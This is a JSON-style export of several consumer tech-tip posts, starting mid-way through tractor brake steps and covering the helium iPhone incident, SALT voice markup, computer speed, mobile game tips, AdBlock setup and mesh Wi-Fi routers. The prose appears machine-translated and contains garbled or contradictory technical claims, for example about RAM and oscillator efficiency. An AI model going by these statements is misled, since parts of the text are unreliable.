linkage from the final drive and remove the seal for it.\n Part 2of 2:\nInstalling the New Brakes  Insert the new seal and the shaft can be reinstalled.\n  Put the new brake pads and metal disc back inside the final drive. Make sure if the clamp was loosened to tighten it back. The shaft that connects the final drive and transmission can be installed in the final drive.\n  Remove the hydraulic filter and install a new one. Also, remove the strainer and either clean or install a new one depending on the condition.\n  With the new filter on and the strainer cleaned, reinstall the final drives. Lift them with the cherry picker. Put a seal maker on the edge of the final drive housing before pushing it back to the tractor. The final drives may need to be wiggled and turned some for them to line up.[3]\n  Start 2 bolts in the housing, one in the top and one in the bottom. Slowly turn the bolts to pull the final drives in to the transmission.\n  Install the rest of the bolts. Use a torque wrench and the proper torquing procedure to tighten the bolts to 75ftlbs.\n  Reinstall the fuel tank, ROPS, and fenders.\n  Put the wheels back on the tractor. Replace the hydraulic oil.[4]\n  Jack the tractor up off the jack stands and lower the tractor back on the ground.\n  With the tractor safely on the ground, adjust each brake pedal separately. Each brake should have about 2 1/2\" of travel and should both have equal amounts of travel.[5]\n  Start and test drive the tractor. Test the brakes and make sure they are working properly. If they aren't they might have to be adjusted more or something was done wrong in the repair process.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbmir8RmmauZm5rAbrvNZphmop%2Bdu26wxJ6pnmVlZn12edOrmJysn6c%3D\n","link":"/post/how-to-replace-brakes-on-a-john-deere-5105-tractor/","section":"post","tags":null,"title":"How to Replace Brakes on a John Deere 5105 Tractor"},{"body":"Many of us have witnessed problems when using mobile devices but strangely like the case of Erik Wooldridge, a System Expert at Morris Hospital, Chicago, but certainly not. when.\nSpecifically, during the installation of a new GE Healthcare MRI, a lot of people 's cell phones in the hospital, all Apple products stopped working, some Apple Watch watches also flickering activity. Meanwhile, Android phones do not encounter the same problem. This situation affects 40 different devices, in a fairly wide range.\nErik said: 'The first thing I think about is some kind of EMP (electromagnetic pulse) emitted by the MRI machine that caused this. And if it is true, we may have a lot of trouble. \"\nErik added, most of the affected Apple devices are completely dead, there are devices that cannot be charged. For devices that are upstream, there is a problem with mobile waves even though the wifi connection is still stable and fast.\nAfter Erik posted the situation on social networking site Reddit, some system administrators said the cause of the phenomenon could be the liquid helium used to cool the MRI machine. Erik investigated and discovered it was true that at the time of the incident there was a helium leak that spread throughout the building.\n  Magnetic resonance imaging in hospitals.\nAfter that incident, the devices began to recover slowly but not completely. Several days later, an iPhone of which suffered a serious error, the touch of some Apple Watch does not work even though the screen is still bright.\nErik has grouped the affected devices and found that Apple devices are faulty iPhone 6 and above and Apple Watch Series 0 and above. Among Apple mobile devices in the building there is only one iPhone 5 and it is not affected at all. So what happened that affected Apple mobile devices and Android devices?\nFirst of all, we learn a little bit about the type of microelectromechanical system components (MEMS) - the smallest mechanical apparatus in the world. Each phone is equipped with an accelerometer and a gyroscope with only microns thin. According to the hypothesis given by Reddit members, helium molecules are small enough to slip into vacuum-sealed chips and interfere with the behavior of these mechanical parts.\n  But if that is the case, why is Android phone not affected by all phones using MEMS gyroscope? Perhaps, iOS exists a vulnerability that causes the device to hang up when receiving error data from the gyroscope? But Apple Watch running WatchOS is also affected and iPhone before version 6 is not affected. If not a software error, where is the problem?\n  Photo taken inside a MEMS gyroscope.\nThe heart of every electronic device is a clock (quartz oscillator, which produces a predictable frequency - usually 32 kHz). Without the clock, the CPU does not work, the system will stand still.\nBut these quartz oscillators are quite large in size - 1x3 mm or more and do not work properly at high or low temperatures. Apple has started using MEMS time oscillators named SiT512, manufactured by SiTime to replace quartz components to create smaller and smaller hardware.\nSiT512 is the smallest and least energy-efficient 32kHz oscillator in the world. And it is very likely that this device is affected by helium intrusion and causes problems.\n  An MEMS oscillator under an electron microscope perspective.\nA faulty oscillator will cause the mobile device to malfunction like Erik's description. Erik recreated the incident in a laboratory with the iPhone 8 Plus. The iPhone is in bright screen mode and the timer is placed in a sealed bag filled with helium. This experiment seems unrealistic because when the helium exposure occurs, the devices are much lower. After about 8 minutes and 20 seconds, besides the clock stopped, nothing crazy happened, the screen is still lit.\nIn another similar experiment, the iPhone 8 turned off after only about 4 minutes.\nIn the user guide for iPhone and Apple Watch products, Apple mentioned that the iPhone could be damaged or affected by exposure to chemical environments such as vaporized liquid gases such as helium. The company also gave specific instructions on disconnecting the charger and letting the air evaporate for a week. After that time, when the air has flown out of the device and the battery is completely empty, charge the device for about 1 hour and then turn it on again.\nOther MEMS devices can also be affected by large amounts of small molecular gas. SiTime knows this and is looking for ways to minimize the problem.\nIn short, getting helium molecules into the device, causing the clock to stop and turning the phone into a brick in a short time is an extremely rare problem. You don't have to worry about this.\nSee more:\nHow does the security chip on smartphones work? Decoding 8 icons often appears on the iPhone screen but not everyone knows iPhone has a crash or a sudden crash after updating to iOS 12 ncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZpmcobKzs8icZK2nXZ2yrbXUpmSgmaNiwba%2BzaxkoqakpHqiecGroJyjXaKupLTIp5xmmZ6Zv7C1ww%3D%3D\n","link":"/post/iphone-allergic-to-helium-gas-turns-into-a-brick-machine-android/","section":"post","tags":null,"title":"iPhone allergic to helium gas turns into a brick machine, Android?"},{"body":"Interactive voice recognition (IVR) systems have been around for many years and are the initial experience of speech technology for many people.\nAfter the World Wide Web developed in the 1990s and web technologies became standardized and popular, voice technology developers began to look for ways to combine voice with the web.Of course, the first method is to coordinate previously specialized phone / IVR technologies with the capacity of web server infrastructure.And people quickly realized the need for a standard, specialized XML-based language.This language allows definition of context and logic to control IVR applications in a web environment.VoiceXML language is developed by VoiceXML Forum (http://www.voicexml.org) to meet this need.VoiceXML Forum was founded in 1999, including AT\u0026amp;T, IBM, Lucent and Motorola, which now have hundreds of members.The introduction of VoiceXML not only creates open and more flexible IVR solutions, it also allows access to voice web applications.\nIn parallel with developments in voice and web integration, personal computers (PC) are becoming strong enough to handle the basic tasks of speech technology: speech recognition (first data in) and express the voice (output data).It is a feat to know that by the 1970s, 50 computers were needed for Carnegie Mellon University's HAPPY system to perform continuous speech recognition (with natural conversation speed).\nThanks to the development of the PC as well as the development of the voice technology itself, computer users began to have the opportunity to experience speech technology on their own PCs.Today, ordinary computer users have the opportunity to use voice products from multiple manufacturers, support multiple jobs, from controlling computers through commands to reading texts to directly entering the process. text editor.\nSoftware developers also benefit from combining speech technology with PC.There are many options to incorporate voice technology into applications, from SDK development kits for Microsoft and PlainTalk Apple software vendors such as Speech API (SAPI), to the tools of the Independent software firm such as NeuVoice's biometric SDK and voice.\nWith an increase in the capacity and ability of PC voice processing, a new concept in voice integration began to emerge - 'multimodal' application, capable of supporting human communication. Using the client side in the language, in addition to the normal input / output methods are keyboard, mouse and screen.Because web browsers are becoming more and more popular and able to express a rich user interface, it is clear that the development of multi-modal applications requires a closer integration of speech technology with data and models. implement on the web, such as event-based scripting languages, DOM (Document Object Model) and HTML.\nAlthough VoiceXML has been expanded to provide this level of integration, some industry insiders believe that there should be a different model from the platform.And this led to the development of SALT (Speech Application Language Tags) of the SAL Forum (www.saltforum.org), established in 2002 with companies like Microsoft, Intel, Cisco and Philips, nowadays Member companies have increased by more than 70. The goal of SALT is to incorporate speech technologies into a variety of computing devices, from PCs to PDAs, through multi-modal applications.To achieve this goal, SALT uses a different method than VoiceXML.\nDifference between VoiceXML and SALT VoiceXML was originally designed to provide a comprehensive environment for building voice applications.It provides components that define data (forms and areas in the form), execution routes, and provides an execution environment to translate VoiceXML commands at execution.In general, web / voice aggregation is done through interaction between the web server and the VoiceXML server.\nFor example, in a typical VoiceXML application, the phone performs the same function as a web browsing tool, the input is the user's speech that is sent to the VoiceXML server to translate words based on the command document including the VoiceXML component.The command in the document can instruct the VoiceXML server to connect to a URL on the web server, where the web script (for example, JavaScript) interacts with the application / website and responds to the corresponding VoiceXML command.VoiceXML server receives command information from the web server, interprets it, and sends appropriate output speech information to users via the phone.\nIn contrast, SALT provides the minimum environment for building a voice application.It is limited to defining data and specialized behaviors according to speech communication, such as listening to input and determining grammar used to translate input information.All other data, such as form definition and form components, assigns the markup language that the SALT embeds, such as HTML.\nTo provide this level of integration, SALT tags are built in the form of XML components that function like extensions of today's markup languages ​​such as HTML, XHTML and WML.Furthermore, SALT components also use DOM communication to work as full-fledged members in the home page's data model.This means that they own methods, properties, and events that can be accessed directly from ECMA-compatible scripting languages ​​such as JavaScript in the same way as other components in a DOM-compatible website. .\nIn short, SALT is specifically designed to accommodate the data model and execution environment currently used by web developers.The entire technical specification of SALT is available at here.\nSALT application Let's consider the basic multimodal application using the four most important components of SALT.\nFirst of all, you need a way to prompt the user to input information.The SALT tag is used to identify pronunciation content such as greetings, instructions or confirmations.Content sources can be pronounced text or audio files.With audio files, the job is simply to play back this file, but with text, it requires TTS tools (text-to-speech) to turn into a voice.\nListing 1 illustrates the use of components to pronounce the text 'Welcome to a SALT multimodal application'.The oncomplete event activates the component when the notification delivery is complete.\n\u0026nbsp;The component provides voice recognition control, translates speech into text and handles identification results.Listing 2 illustrates component usage.In this example, there are two subcomponents: The element that identifies the identifier, the component that points to another component of the site, such as an HTML tag.\nThe component determines exactly what the program can identify and can be viewed as a dictionary list.Speech recognition translates the digital signal to represent the sentence into sounds and matches the negative representation of the words in the list assigned by grammar.If a match is found, the result is returned.The grammar can be specified in the command line or it can be located in a separate file and pointed to by the component's src attribute.In Listing 2, the grammar contained in the external file 'TagGrammar.xml';The source of this file is shown in example 3 that defines the identification of 3 words 'prompt', 'listen', 'grammar'.\nWith the above 4 basic SALT components, we can assemble the sample application as shown in the example 4. First of all, this website must refer to the SALT definition in the first line.\nWhen the page loads into the browser, the line: Starting to broadcast the specified message as the promptWelcome, the TTS tool will pronounce the sentence 'Welcome to a SALT multimodal sample.You may choose . '.After the notification is finished, the oncomplete event of the component triggered promptWelcome component is designated listenTag.This will enable the listener to listen to the input voice.When the input signal is detected, the identifier will try to identify based on the grammar loaded by the child element.\nIf the identity is successful, the child component will be executed. This command assigns the node value of the identifier XML output data to the selectTag element, defined in HTML format in this example as a drop-down list.This results in the corresponding option in the selected HTML SELECT control.After the bind is executed, the successful identity event is triggered with onreco, which calls the JavaScript function ProcessInput ().The command in ProcessInput () then displays the declaration of the text being displayed in the HTML SELECT control.Note that ProcessInput () is also called by the onchange event of the SELECT control that is triggered when the user selects an option with the mouse or keyboard.\nThis simple multi-modal application illustrates how SALT supports voices that control web elements while still allowing users to interact with those components with the mouse and keyboard in the traditional way.On the programming side, this application also illustrates the smooth interaction between SALT components with the data model and the execution environment of the regular website.\nSALT with WEB technology from Microsoft Incorporating SALT with the data model and popular web execution environment (HTML, DOM, XML and scripting language) also supports the incorporation of SALT into common development environments.Let's look at how Microsoft supports SALT in the IIS (Internet Information Server) and IE (Internet Explorer) environments.\nFirst of all, on the client computer you must install Microsoft Speech Add-in for IE.This add-in provides additional DLL libraries for IE 6.0 and performs the SALT command translation in the browser.Note that if you have installed the Speech Application SDK (SASDK), this step is not required.\nNext step, create a directory on the IIS server and set up the application's root directory.In this new directory, create a file containing the SALT application code (use the code in the 'SALT Application' section) and name it with the appropriate extension, for example SimpleSALT.slt.Next, create another file containing grammar and name it, for example TagGrammar.xml.\nFinally, set the MIME type on the IIS server for the page containing the SALT command.For example, if the file is named SimpleSALT.slt, you need to link the * .slt files to the SALT MIME type.One way to do this is to use the Internet Services Manager tool, select the application's root directory or website, open its properties page, select the HTTP Headers item, click the File Type button in the MIME Map section, and create a new type. with the extension '.slt' and the content form 'text / salt + html'.This will cause Microsoft Speech Add-in to automatically activate SALT objects and perform the SALT function for IE.\nYou can now use your browser to open the SALT-enabled website in the directory you created and run the application.If you 'view source' in the browser, you will notice that because of the MIME mapping, the same code as below has been added to your site by IIS before moving it to the browser:\nIIS inserted these lines directly into IE to tell Speech Add-in to handle SALT components.\nEpilogue While this article focuses on the client side of the multimodal application, note that SALT also supports pure voice applications, without a graphical interface.In this case, the phone performs the terminal function, the SALT interpreter only supports the voice combined with the voice and telephone server in a manner similar to the traditional VoiceXML model.\nIn addition to the Microsoft technology used to deploy the sample application in this article, there are a number of products from other vendors that support SALT (see the SALT Forum website), and also the OpenSALT open source solution here from Carnegie Mellon University, a member of SALT Forum. OpenSALT has launched a compatible open source browser SALT 1.0 based on Mozilla's open source browser and uses open source software to synthesize Festival and identify Sphinx.\nncG1vNJzZmismaXArq3KnmWcp51kwKK402ajmqaXqq6osYytpmarpaW9sL7TZq2ooZOaerC6jK2fnmWnmq8%3D\n","link":"/post/language-to-support-voice-on-the-web/","section":"post","tags":null,"title":"Language to support voice on the web"},{"body":"The performance of each component constitutes a computer that can be measured in gigahertz and gigabytes, but sometimes the overall performance of the system is not necessarily equal to the total efficiency of the components.Calculating the speed of a computer to see if it is fast or slow is not a simple task because the speed of the hardware is largely governed by the degree of interaction between the components as well as the way you use it. computer.If you want to improve the speed of your computer system, the first thing you need to pay attention to is to arrange and select components that are reasonable so that they can interact with each other effectively. Best\nOf course, everything has exceptions.The comments and comments below are based on the practical characteristics of different uses of ordinary users.\nCentral processor (CPU) This is not only the \"brain\" of the computer system but also plays an important role in both factors: Computer can run more complex programs and multitasking more effectively.However, do not put too much emphasis on the manufacturer's processing speed parameters (measured in GHz per second).There are many more interesting things if you want the CPU to work more efficiently.\n  Suppose we have two processors here: A 2.7 GHz processor (2.7 billion revolutions per second) compared to a 3.1GHz processor (3.1 billion cycles per second) ).In theory, the 3.1 GHz processor has a larger number of revolutions per second, but the true 2.7 GHz CPU can still achieve more or more performance in each cycle if it has multiple cores. More, more transistors or more additional features make its speed faster.An Intel i3 processor and Intel i5 processor are clocked at 2.9GHz, but certainly the i3 chip is cheaper and slower because of the poorer performance ineach spin cycle.\nAnother parameter to consider here is the CPU cache, often listed as L2, L3 or L4.This is super-fast memory that allows the CPU to handle more complex tasks.Large cache capacity is needed to improve the speed of the computer, but it only really works when used at high performance.\nRandom access memory (RAM) A larger amount of RAM basically helps to shorten the computer's short-term memory space, allowing more tasks to be performed at the same time.\n  Unlike processors, RAM quality is the deciding factor, not the amount of RAM.That is, a RAM with a higher processing speed and a lower latency can break a larger capacity RAM.That's why newer RAM modules are always better for performance: DDR4 is better than DDR3, etc.\nStuffing more RAM will definitely make your computer faster, and in fact, this is the easiest and most popular way to upgrade computer speed.However, you should keep in mind that the speed of the computer has been improved or not, depending on the compatibility between the CPU and RAM.\nHard disk drive (HDD) and solid-state drive (SSD) Simply put, SSD always gives faster processing speed and better performance than HDD.Of course the price of SSD is also a bit more harsh.However, even SSDs at the 'most' level can still greatly improve the speed of the computer.They are quieter, cooler, more reliable, more energy-efficient and importantly easier to upgrade.\n  The main types of SSDs on the market today (as of August 2018) include:Single Layer Cell (SLC), Multiple Layer Cell (MLC), and Triple Layer Cell (TLC).The general rule here is that morelayers / cells= cheaper, shorter and slower lifespans.\"Slow\" here is a relative term, this SSD may be slower than the other SSDs but they are all faster than HDD.\nGraphics processor (GPU) In general, graphics cards are luxury 'toys' in the computer world.If you are in need of upgrading the machine to fight the latest games, working with a lot of heavy graphics applications or digging for money money . Good GPUs are an indispensable component.\n  Basically, the GPU is a CPU designed specifically to handle graphics-related tasks.The details here are in bandwidth or memory integrated into the GPU.For GPUs, higher parameters are always better: GDDR4 peaks over DDR4, in GDDR5 breaks GDDR4.If you are interested in high-end GPUs, pay more attention to the parameters of CUDA cores, shaders, radiator fans as well as the radiator design (TDP) to maximize performance. GPU usage.\nBus motherboard / speed (FSB)   \nThe motherboard is where most of the main components of the computer are connected, the motherboard does not play an important role in determining the speed of the system.The components on the motherboard can completely determine the processing speed when needed.For high-end systems (especially custom systems), fasterFront Side Bus (FSB) speeds will help the system make better use of CPU performance at high performance.In general, ordinary users need not worry about this.\nSoftware When it comes to software, there are a few things to keep in mind as follows:\nOperating system: Running Windows 10 on a low-profile computer, you feel that the machine is slower, but if that same machine that you install a small Linux version, the speed of the machine will certainly be faster.\nProgram: If you usually only use Notepad and Firefox, there is no need to discuss much.However, just play a video, then how powerful the system will be easily identified.\nBackground programs: Even high-performance computers can get bogged down with background programs.Therefore removing these programs can be very helpful in improving the speed of your computer.\nNew software: Old computer + new software = a little decrease in speed.\nSpam software: The longer you use your computer, the more garbage data needs to be removed.Deleting and reinstalling can cause the computer to function as new.\nIn short, if you want to make your computer faster, the most important thing to consider is how you will use the computer.Ordinary users of course will not need the huge technical specifications and vice versa.A good CPU, a large amount of RAM and an SSD will meet the average user needs, but if you have a need for a more powerful system, you will have to study it carefully in many ways.\nSee more:\n12 tips to speed up your computer comprehensively Speed ​​up your computer without buying new hardware Instructions to improve the speed of old computers simply How to use CCleaner software to clean up computer trash effectively ncG1vNJzZmismaXArq3KnmWcp51kwamx0p5kn5mTqbyzv4ydnK2doqK2r7GMrZ%2BeZaOlsqawjKidZqyYmnqku8yprK2dog%3D%3D\n","link":"/post/these-factors-determine-the-speed-of-the-computer/","section":"post","tags":null,"title":"These factors determine the speed of the computer"},{"body":"By combining multiple playstyles, Piggy GO creates an unpredictable gaming environment. Developed by Forever9 Games, this mobile game will bring a lot of fun.\nHowever, Piggy GO can also be a bit overwhelming for new players, for example too many colors can be confusing, having trouble collecting gold and leveling up.\nIn this article, let's learn Piggy GO tips to help gamers easily build their own richest and strongest empire ever.\nUse Autoplay to roll the dice When playing Piggy GO, players will be rolling the dice all day. In other words, the piglet will move along the board when the dice are thrown. The higher the number received, the longer the pig will move on the chessboard. So luck will be the most important factor when playing this game. But there are certain methods and tricks that can help you collect more gold.\n  For example, players should enable Autoplay as soon as possible. By tapping on the big dice icon at the bottom of the screen and holding it for a few seconds, the auto mode will be activated. Thus, the dice will roll without direct intervention. As long as there is a turn, Autoplay will help roll the dice quickly. Thanks to this, the piglet will travel to many locations in a short period of time, allowing to collect a lot of gold.\nInvest in cities to unlock new locations Besides a chess board and a pair of dice, players will have a lot of other options in Piggy GO. For example, people will have the opportunity to develop cities and make them great. To perform such an action, people need to spend gold on each upgrade.\n  To invest, tap the Build option (hammer icon). By visiting this area, the player can invest in the reconstruction of the city. The gold spent here will improve the defense of the city with a lot of options to invest.\nRepair the first airship To conquer the world and expand your empire, gamers will have to be able to travel. Therefore, repairing the airship should be a top priority when starting Piggy GO.\nAirship will take players to different cities, allowing to collect tons of coins. However, to repair the airship will require a certain amount of gold. Raid other players' areas to accumulate a considerable amount of gold.\nTeleport to other cities to earn more money   After repairing the airship, the player can expand his empire. The map in the bottom right corner will show you nearby cities. Starting from Havana, through Mexico and the Caribbean, to New York,. all these cities are waiting for people to come. Players need to master how to teleport as soon as possible to jump from one location to another in a flash.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWTpLmtscKtZJplnKTBbrvFZp6opJRitq95z6KeoLFdnLw%3D\n","link":"/post/tips-to-collect-a-lot-of-gold-in-piggy-go/","section":"post","tags":null,"title":"Tips to collect a lot of gold in Piggy GO"},{"body":"These close range weapons will help you kill any enemy in seconds with their tremendous damage and rate of fire.\nHot Drop is the term in Battle Royale games, referring to locations rich in resources but also extremely dangerous. This place concentrates many buildings, houses and items, and is also a place often chosen by gamers to land.\nHot Drop in Free Fire is often the place where fiery battles take place, close-quarter combat. The player must always be in an active situation or else will be killed. In these situations, having a good melee element can be a game changer.\nThere are a few weapons in Free Fire that prove to be extremely useful in close combat due to their ability to deal massive damage, being able to tear enemies apart in seconds.\nTOP top weapons for close combat in Free Fire MP40 MP40 has been the king of SMG guns in Free Fire for a long time thanks to its fire rate and terrible damage level. The only weakness of the MP40 is that the magazine is quite small and the accuracy is low. However, it was still more than enough for it to take down any enemy at close range.\n  MAG-7 The MAG-7 is one of the newest weapons in Free Fire and is used by a lot of people due to its versatility. This shotgun has a good effective range and is powerful. In addition, it has a super fast rate of fire and a large magazine.\n  SCAR The SCAR isn't exactly one of the best weapons at close range, but it's fairly easy to use for new players and suitable for use in all situations. This weapon has a low recoil, good damage and fire rate. In addition, it is one of the weapons that you can use throughout the entire match.\n  Vector Akimbo Vector Akimbo is a weapon specially created for close range shooting. Its damage level in Akimbo mode can surpass even MP40 by a lot. However, the downside is that you can't carry other weapons with you, so you have to fight completely at close range.\n  M1887 The M1887 is the king of shotguns and melee combat thanks to its power it can take down an opponent with just 2 shots. However, you need to be skillful to use the M1887 effectively because it only has 2 rounds in each magazine.\n  ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGadoqqVYsGwvIxuZJykn6iybr7Ap56eZaearrG7zaxkraddmbyutc2aq55lpJ2ybrTOrWSdqp%2BlwA%3D%3D\n","link":"/post/top-5-close-range-weapons-to-dominate-the-hot-drops/","section":"post","tags":null,"title":"TOP 5 close range weapons to dominate the Hot Drops"},{"body":"As you know, when we surf the web there are often a lot of ads appearing suddenly, taking up a lot of space on the computer screen causing us a certain discomfort. Not only that, these ads will make the computer load the webpage slower because it also has to load ads. Because of the above reasons that the ad blocking utility was born to make surfing the web faster and cleaner, we will not be bothered by ads anymore. And one of the most popular and popular ad blocking utilities today is Adblock, this article TipsMake.com will guide you how to use Adblock to block ads on the browser. Please follow along.\n  Step 1: First we will proceed to install the AdBlock utility on the browser.\n- To install AdBlock on Chrome and Coc Coc browsers, please access the link below:\nhttps://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom?hl=en\nAfter accessing the link, click Add to Chrome to install AdBlock\n  - To install the AdBlock utility on your Firefox browser visit the following link:\nhttps://addons.mozilla.org/en-US/firefox/addon/adblock-for-firefox/\nAfter accessing the link, click the Add to Firefox button to install the AdBlock utility to the browser.\n  - To install AdBlock on EDGE browser, you can go to Microsoft Store, select EDGE Extensions and find Adblock utility. Or visit the link below to open Microsoft Store and trim AdBlock\nhttps://www.microsoft.com/store/productId/9NBLGGH4RFHK\nIn the application store, press the Get button to install.\n  Step 2 : After installing AdBlock successfully you will see the hand-shaped AdBlock icon in the upper corner of the browser.\n  Because this software always runs in the background, you do not need to install anything, now you should surf the web as normal and feel the results.\nThis is the result before and after using AdBlock, you can see ads disappear completely.\n  If at any time you want to turn off AdBlock, then click on the utility's icon and choose one of the two options:\nPause on this site : Only blocks ads on the open site. Pause on all sites: Disable blocking ads on all sites.   Above is a tutorial on how to use AdBlock to block ads on the browser, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRma%2Btu8KkZKGnp2LBsHnUrJxmmZSXubCvymarqGWSobykt4yam6w%3D\n","link":"/post/what-is-adblock-how-to-use-adblock-to-block-ads/","section":"post","tags":null,"title":"What is adblock? How to use Adblock to block ads"},{"body":"Wireless Mesh Network (WMN) is a communication network made up of nodes with a grid topology. It is also a form of wireless ad hoc network.\nSpeaking of mesh refers to a lot of connections between devices or nodes. Wireless wireless mesh networks often include client devices such as mesh, router routers and ports. The mobility of nodes is also less. If nodes continue or frequently move, mesh networks will have to spend more time updating than distributing data.\nMesh client devices are usually laptops, mobile phones and other wireless devices. Routers mesh forward traffic to and from ports, which may, but are not necessary, connected to the Internet. Today's article will introduce you to the best 10 mesh Wi-Fi networking systems in 2018.\n10 best mesh Wi-Fi network systems Netgear Orbi High-Performance AC3000 (Best overall) Ubiquiti AmpliFi HD Home Wi-Fi System (Best choice for big houses) Google Wi-Fi (Best design) Asus Lyra System (simplest system) Linksys Velop Tri-Band AC6600 (Good in overall terms) TP-Link Deco M5 Mesh Wi-Fi System (The most affordable price) Gryphon Smart Mesh Wi-Fi System (Best security) Eero Home Wi-Fi System (Easiest setting) Tenda Nova Whole-Home Wireless Router System (Beautiful design) Luma Whole Home Wi-Fi (Best parental control feature) Netgear Orbi High-Performance AC3000 (Best overall)   NETGEAR took the leading position in the list of Orbi-branded High-Performance AC3000, with a wide range of 465 square meters.\nOwning a router and an identical satellite device, the Orbi system boasts extremely fast throughput, simultaneous transmission of MU-MIMO data and a number of custom features. It is a tri-band system with six internal antennas and can provide throughput rates of 1,266Mbps (400Mbps on 2.4GHz band and 866Mbps on 5GHz band). Its additional 5GHz band only communicates between the router and satellite, with speeds up to 1,733Mb / s. The router has three Gigabit LAN ports, one WAN port and one USB 2.0 port, and the satellite device has four Gigabit LAN ports and one USB 2.0 port, providing you with star-connection options.\nUbiquiti AmpliFi HD Home Wi-Fi System (Best choice for big houses)   Among Ubiquiti's devices, AmpliFi HD is the most powerful device. Made for large, multi-storey houses with thick walls and other obstructions, this device uses six high-density, wide-range antennas to accommodate up to 1858 in use. square meters. (Don't worry, these antennas are inside, so its appearance looks very nice). This system includes a router and two mesh plug-in points. Despite its size, it is a modern work of art. The front of the router has a full-color LCD touch screen showing time and date, you can touch the screen to display statistics such as current Internet speed (upload and download), IP address of router and WAN, as well as the current throughput speed.\nThis router has a single-core CPU, 802.11ac circuit that supports 2.4GHz and 5GHz Wi-Fi bands, providing aggregate speeds of up to 5.25Gbps. Similar to other systems, AmpliFi HD has a mobile application that allows you to manage settings, but it also allows you to separate radio bands and have a separate SSID, allowing you to manage traffic. easier. Unfortunately, there is no parental control feature on this device, but most users will not be bothered by this minus point.\nGoogle Wi-Fi (Best design)   Google always designs everything as beautifully as possible. Google's Wi-Fi system is no exception. The system has three satellite devices that Google calls 'Wi-Fi points', with a total range of 418 square meters (each of which can cover 139 square meters). The points are shaped like hockey balls. Unfortunately, it lacks a USB port, which means you can't connect an external device.\nEach point has a 4-core ARM CPU, 512MB RAM and 4GB eMMC flash memory, along with 802.1112 and 802.11s AC1200 (2X2) and mesh (mesh) circuits and Bluetooth radio. Google combines the 2.4GHz and 5GHz bands into a frequency band, which means you cannot designate the device for a frequency band, but conversely, it uses beamforming technology, automatically routing the device to the signal. strongest.\nGoogle Wi-Fi wins the design, not only for hardware but also for software. The companion application (for Android or iOS) is very intuitive. It allows you to manage your point status, as well as setting up your network, test speed, port forwarding and more. Unfortunately, there is no parental control feature, but except for this point, Google Wi-Fi will help your family online quickly and easily.\nAsus Lyra System (simplest system)   The Asus Lyra system comes with three hubs, like the other options on the list, and it links all these hubs under a single Wi-Fi name. The device also integrates technology that automatically switches between hubs when users move out of scope of this hub and switches to the scope of another hub. The system also operates with three separate bands. You can put your gaming system on a frequency band, another band for general Internet use and the remaining band for work. 802.11AC routers give you a transfer rate of up to 2,134 mbps.\nContains proprietary commercial grade encryption and protection provided by Asus AiProtection technology, as well as security options that allow you to set up parental control features. Finally, it is connected and controlled via an Asus app that is set up to work well with smart home products, so it will be a great additional device for any household. 'High technology'.\nLinksys Velop Tri-Band AC6600 (Good in overall terms)   Linksys Velop Tri-band AC6600 includes three sleek white nodes, each about the size of a Jenga tower and beautifully designed, can be used as an indoor decoration instead of being hidden in one corner. Each node has a range of up to 186 square meters, so all 3 nodes will be enough for a house about 557 square meters, so this is a great option if you have a large house. (If your house doesn't have such a large area, you can buy individual nodes).\nEach node is an AC2200 router with a maximum speed of up to 400Mbps on the 2.4GHz band and 867Mbps on each 5GHz band. Velop is one of the few systems that supports MU-MIMO data transfer, which helps transfer speeds faster. It also offers a lot of customization features in the mobile application, including parental control, device priority and guest network connectivity.\nTP-Link Deco M5 Mesh Wi-Fi System (The most affordable price)   If you want to save a bit of money and still enjoy the benefits of Wi-Fi mesh, the Link Deco M5 is the perfect choice. Quick and easy setup via downloadable smartphone application. The device uses Bluetooth 4.2 connectivity, so the hardware can quickly connect to your smart device. It takes less than 10 minutes to set up and run. Once set up, the system can generate signals that touch almost every corner of the house or office (range up to 353 square meters). Within that range, the system can allow up to 100 devices to be connected at the same time.\nIdeal for high speed Internet packets up to 500Mbps, the system uses Adaptive Routing technology to find the best connection for each device. Beamforming and MU-MIMO (multi-user technology, multiple inputs, multiple outputs) also contribute to increase signal strength. Connected via Ethernet cable, each sub-device provides two gigabit Ethernet ports, USB-C power and LED indicators for device status. Families with young children also appreciate the built-in parental control feature of this system. By creating a personal profile for each user, parents can set filters, limit the time and block websites they don't want their children to access.\nGryphon Smart Mesh Wi-Fi System (Best security)   Keeping all the devices in the network safe from security holes, the Smart Mesh Wi-Fi Gryphon system is really worth it. Today, everything from light bulbs to cameras or washing machines is connected online. Each connected device creates a security threat and that's where Gryphon works. Combining AI-based intrusion detection and ESET's malware protection, Gryphon 'oversees' all your electronic devices. The malware filtering feature from incoming data streams along with enterprise-class security will keep unwanted files and websites from affecting users. If a security threat is detected, the relevant device will be quarantined from the network until the problem is resolved.\nUsers can manage all these protection features through a Gryphon smartphone application. The app allows any owner to review currently connected devices and browsing history. The application also supports quick installation, helping you online within minutes. In addition, the above smartphone application also includes parental control features to create a safe browsing environment for children. Each child device in Gryphon can cover up to 279 square meters. The two sub-devices in Gryphon are synchronized with each other, creating a true mesh system for fully connected use over a 557 square meter range.\nEero Home Wi-Fi System (Easiest setting)   The common feature on almost all Wi-Fi mesh systems is their ease of installation, but setting up the Eero is even easier than you imagine. The production company claims you will only need a few minutes to set up with help from the mobile application. All you need to do is connect it to the modem via the supplied Ethernet cable, wait for the indicator light to turn blue and follow the on-screen instructions. Once you're done setting up, the application is also useful in testing Internet speed, network management, creating guest networks and more.\nEero's design is also commendable. After all, it was named after the famous industrial architect and designer Eero Saarinen. Three identical units (one router and two satellites) size 4.75 x 4.75 x 1.34inch (12 x 12 x 3.5cm). Inside is a 1GHz dual-core CPU with five Wi-Fi AC1200 antennas and circuits, all of which contribute to stable throughput speeds.\nTenda Nova Whole-Home Wireless Router System (Beautiful design)   With Wi-Fi coverage of up to 557 square meters, Tenda's system is great for large houses (although it can be difficult for medium-sized offices). Like the other options on this list, this system will seamlessly connect like a Wi-Fi network, but it uses truly unique technology to help focus those connections on all devices. suffer at the same time. This technology is called Wave2 MU-MIMO along with Tenda's excellent beamforming technology, focusing on transferring energy to room devices, giving you almost 'unbeatable' connectivity to the Wi system. Your-Fi.\nThe system also includes a network optimization technology, maintaining the integrity of the system, even if a unit has a problem. If you disconnect a unit, it will automatically search and connect to another nearest unit. In addition, it is designed to not require special settings, giving 